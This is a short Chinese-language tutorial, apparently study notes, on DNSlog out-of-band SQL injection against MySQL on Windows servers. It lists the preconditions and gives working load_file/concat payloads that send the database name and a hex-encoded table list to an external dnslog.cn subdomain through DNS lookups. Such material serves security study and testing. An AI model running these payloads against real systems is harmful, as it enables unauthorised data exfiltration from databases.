DNS原理:DNS就是在访问网站的时候会把网站域名解析成ip地址再进行相对应的服务。
DNSlog就是DNS的日志,DNS在域名解析的时候会留下域名和解析IP的记录
DNSlog外带原理:DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。所以这里跟最初的猜想基本一致,原理也就是通过DNS请求后,通过读取日志来获取我们的请求信息。
要想用到dns外带注入的话的前提条件(要用到Load_file
):
使用本函数有几个前提:
1、首先要有注入点
2、需要有root权限
3、数据库有读写权限即:secure_file_priv=“”
4、得有请求url权限
5、还必须得是windows服务器
D盘中写了个1.txt
通过load_file函数读取一下:
select load_file('D:/1.txt')
因为 load_file函数无法执行SQL语句,所以我们可以用concat函数来进行外带的时候进行拼接
select concat('Sentiment','\\',(select database()));
通过DNSlog外带数据库信息
select load_file(concat('//',(select database()),'.je5i3a.dnslog.cn/1.txt'));
当然他也有一些局限性
通过本地测试后,发现了一些问题,在url中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性
select load_file(concat('//',(select hex(group_concat(table_name separator '_')) from information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));